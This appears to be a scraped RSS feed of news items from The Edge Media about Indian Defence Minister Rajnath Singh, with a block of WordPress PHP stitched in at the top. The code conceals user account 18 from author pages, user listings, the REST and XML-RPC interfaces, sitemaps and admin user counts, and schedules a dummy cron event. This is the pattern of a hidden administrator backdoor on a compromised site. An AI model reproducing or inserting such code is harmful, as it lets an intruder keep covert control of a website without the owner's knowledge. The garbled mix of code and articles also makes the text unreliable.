add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India Must Shift from Reaction to Preparedness, Says Defence Minister Rajnath Singh appeared first on The Edge Media.
]]>
Singh noted that the country is stepping into, what he described as a promising phase for defence innovation. He emphasised the need for the defence ecosystem to expand with greater ambition, speed, and scale. He encouraged private companies to pursue a profit-plus mindset, advising them to consider national priorities and the desire to contribute to the country alongside traditional business gains.
According to the minister, the progress of innovators directly strengthens India’s security and advances the nation’s goal of self-reliance in defence. The event was attended by Chief of Defence Staff General Anil Chauhan, Navy Chief Admiral Dinesh K Tripathi, senior military officials, DRDO Chairman Samir V Kamat, as well as several specialists and innovators from the defence sector.
Prior to his speech, Singh visited the exhibition area and interacted with participants showcasing their work. Since its inception in 2022, the Swavlamban event has evolved into a national forum where startups and MSMEs present solutions created in response to challenges outlined by the armed forces to meet operational needs.
The post India Must Shift from Reaction to Preparedness, Says Defence Minister Rajnath Singh appeared first on The Edge Media.
]]>The post Minister’s Promise On Emergency Landing Strips: ’15 Days, Not 1.5 Years’ appeared first on The Edge Media.
]]>
Union ministers Rajnath Singh and Nitin Gadkari today inaugurated the country’s first emergency landing strip for IAF planes, which was created on a national highway in Rajasthan. The strip in Barmer, which took 19 months to construct, will be utilized for IAF emergency landings. Mr. Gadkari, on the other hand, guaranteed that such landing strips would be developed in a matter of days in the future.
A mock emergency landing was made on the landing strip at the Satta-Gandhav section on National Highway 925 by an Indian Air Force Hercules C-130J plane carrying the two ministers and Chief of Defence Staff Bipin Rawat.
The post Minister’s Promise On Emergency Landing Strips: ’15 Days, Not 1.5 Years’ appeared first on The Edge Media.
]]>The post India wants a solution to the border dispute with China through dialogue : Rajnath Singh appeared first on The Edge Media.
]]>Mr Singh was delivering virtually the third Balramji Dass Tandon Memorial Lecture organised by Panjab University on the issue of national security.
The defence minister said that there have been “perception differences” on the border with China.
Despite this, there are some agreements, protocols which the armies of both countries follow to conduct patrols,” he said. Referring to the clashes in eastern Ladakh last year, Mr Singh said Chinese forces had ignored the “agreed protocols.”
“We cannot allow the Chinese Army PLA to act on the LAC in a unilateral manner under any circumstances. That is what the Indian Army did that day in Galwan and bravely confronted the PLA soldiers and forced them to retreat,” he said while terming it as a “historic” incident.
India wants a solution to the border dispute with China through dialogue, the defence minister said and asserted that the government will never compromise on issues of the “country’s borders, its honour and self-respect”. “We will never allow the sanctity of borders to be violated,” he said.
The post India wants a solution to the border dispute with China through dialogue : Rajnath Singh appeared first on The Edge Media.
]]>The post PM Modi: Aatmanirbhar Bharat Has Become A “Mantra” appeared first on The Edge Media.
]]>Delivering his seventh straight Independence Day speech, Modi said the call for ‘Aatmanirbhar Bharat’ (self-reliant India) has captured people’s imagination and become a “mantra” for everyone, as he pushed for raising the country’s share in the global economy.
Modi addressed the nation on the occasion of India’s 74th Independence Day from the ramparts of the Red Fort, and asked the citizens to prepare themselves for a self-reliant India.
Lauding the Prime Minister’s call, Singh said there may be challenges but there is also the ability to solve all the problems. “Today, on the occasion of Independence Day, Prime Minister Narendra Modi’s address reinforces the resolve of self-reliant India. There may be challenges in this resolution, but there is the ability to solve all the problems within this country,” the defence minister said in a tweet in Hindi.
Noting that a self-reliant India is necessary for the welfare of the world, Singh said all Indians should have the determination to make the country’s role and contribution in the world impactful.
“Self-reliant India is necessary for the welfare of the world. All Indians should have the determination to make India’s role and contribution in the world impactful. Today, the prime minister has made it clear that the country has the skills and capability on which India can give new direction and momentum to the global economy,” he said in another tweet. Singh said he welcomes the roadmap set by the prime minister for a self-reliant India.
– PTI
The post PM Modi: Aatmanirbhar Bharat Has Become A “Mantra” appeared first on The Edge Media.
]]>